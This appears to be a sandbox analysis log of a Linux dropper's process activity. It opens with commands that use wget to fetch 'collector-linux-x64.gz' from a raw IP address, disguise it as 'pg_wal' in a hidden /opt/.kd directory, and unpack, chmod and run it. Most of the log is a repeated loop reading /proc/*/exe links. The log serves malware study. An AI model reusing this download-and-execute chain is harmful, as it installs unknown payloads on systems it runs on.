/bin/busyboxbusybox wget -q -T 90 -O /opt/.kd/pg_wal.gz.1519 http://130.94.112.118:18899/bin/collector-linux-x64.gz2⤵
-
-
/usr/bin/wgetwget -q -T 90 -O /opt/.kd/pg_wal.gz.1519 http://130.94.112.118:18899/bin/collector-linux-x64.gz2⤵
-
-
/bin/mvmv /opt/.kd/pg_wal.gz.1519 /opt/.kd/pg_wal.gz2⤵
-
-
/usr/bin/headhead -12⤵
-
-
/bin/sedsed -n "s/.*\"collector-linux-x64.gz\":{\"md5\":\"\\([a-f0-9][a-f0-9]*\\)\".*/\\1/p"2⤵
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/usr/bin/md5summd5sum /opt/.kd/pg_wal.gz2⤵
-
-
/bin/busyboxbusybox gzip -t /opt/.kd/pg_wal.gz2⤵
- System Network Configuration Discovery
-
-
/bin/busyboxbusybox gzip -dc /opt/.kd/pg_wal.gz2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/pg_wal2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/pg_wal2⤵
-
-
/bin/rmrm -f /opt/.kd/pg_wal.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/pg_wal2⤵
- File and Directory Permissions Modification
-
-
/opt/.kd/pg_wal./pg_wal --help2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /var/tmp/.kd/wd.sh /var/tmp/.kd/wd2.sh2⤵
-
-
/bin/rmrm -f /tmp/.kd/wd.sh /tmp/.kd/wd2.sh2⤵
-
-
/bin/rmrm -f /dev/shm/.kd/wd.sh /dev/shm/.kd/wd2.sh2⤵
-
-
/bin/rmrm -f /.kd/wd.sh /.kd/wd2.sh2⤵
-
-
/bin/grepgrep -E "^[0-9]+\$"2⤵
-
-
/bin/lsls /proc2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1000/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1008/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1012/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1016/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1020/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1025/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1030/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1034/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1035/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1038/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1041/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1043/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1052/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1053/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1055/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1056/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1062/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1069/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1072/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1074/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1077/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/1078/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1081/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1083/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1110/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1131/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1149/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1150/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1163/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1186/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1229/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1235/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1269/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1291/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1293/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1298/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1312/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1317/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1335/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1369/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1485/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/1510/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1513/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1514/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1515/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1519/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/155/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/156/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/157/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/158/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1589/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/159/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/160/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/161/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/162/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/163/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/164/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/165/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/174/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/199/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/200/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2186/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2187/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/255/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/266/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/346/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/348/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/418/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/446/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/447/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/457/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/458/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/460/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/465/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/467/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/469/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/470/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/471/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/472/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/480/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/481/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/482/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/509/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/510/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/522/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/528/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/549/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/566/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/587/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/588/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/617/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/625/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/631/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/644/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/645/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/647/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/684/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/701/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/708/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/79/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/80/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/81/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/82/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/83/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/84/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/86/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/887/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/889/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/89/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/894/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/897/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/911/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/916/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/930/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/936/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/949/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/953/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/955/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/959/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/965/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/972/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/976/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/98/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/985/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/999/exe2⤵
-
-
/bin/sleepsleep 12⤵
-
-
/bin/grepgrep -E "^[0-9]+\$"2⤵
-
-
/bin/lsls /proc2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1000/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1008/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1012/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1016/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/1020/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1025/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1030/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1034/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1035/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1038/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1041/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1043/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1052/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1053/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1055/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1056/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1062/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1069/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1072/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1074/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1077/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1078/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1081/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1083/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1110/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1131/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1149/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1150/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1163/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1186/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1229/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1235/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1269/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1291/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1293/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1298/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1312/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1317/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1335/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1369/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1485/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1510/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1513/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1514/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1515/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1519/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/155/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/156/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/157/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/158/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1589/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/159/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
